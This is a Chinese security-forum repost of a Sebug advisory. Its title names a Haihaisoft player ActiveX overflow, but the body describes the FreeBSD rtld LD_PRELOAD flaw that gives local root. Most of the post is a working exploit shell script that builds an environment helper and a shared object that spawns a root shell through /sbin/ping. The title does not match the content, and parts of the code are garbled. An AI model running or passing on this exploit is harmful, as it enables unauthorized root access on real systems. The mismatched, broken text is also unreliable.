标题:
Haihaisoft Universal Player 'URL'属性ActiveX控件缓冲区溢出漏洞
[打印本页]
作者:
zclzhao
时间:
2009-12-2 14:10
标题:
Haihaisoft Universal Player 'URL'属性ActiveX控件缓冲区溢出漏洞
影响版本:
FreeBSD 8.0-RELEASE
FreeBSD 7.1-RELEASE漏洞描述:
FreeBSD是一款开放源代码的基于BSD的操作系统。
FreeBSD包含的Run-Time Link-Editor (rtld)存在问题，本地攻击者可以利用漏洞获得root特权。
一般情况下，在执行类似"ping"或"su" setugid的程序时，RTLD不允许设置类似LD_PRELOAD这类的危险环境变量，不过存在漏洞可让rtld被诱使在setugid程序上接收LD变量，导致特权提升。<*参考
Kingcope (kcope2googlemail.com)
*>
测试方法:
[
www.sebug.net
]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so
0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so
0 program.o -nostartfiles
cp w00t.so
0 /tmp/w00t.so.1.0
./env
SEBUG安全建议:
厂商解决方案
目前没有解决方案提供：
http://www.freebsd.org
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./)
Powered by Discuz! 7.2
0"); 0 program.o -nostartfiles 0 /tmp/w00t.so.1.0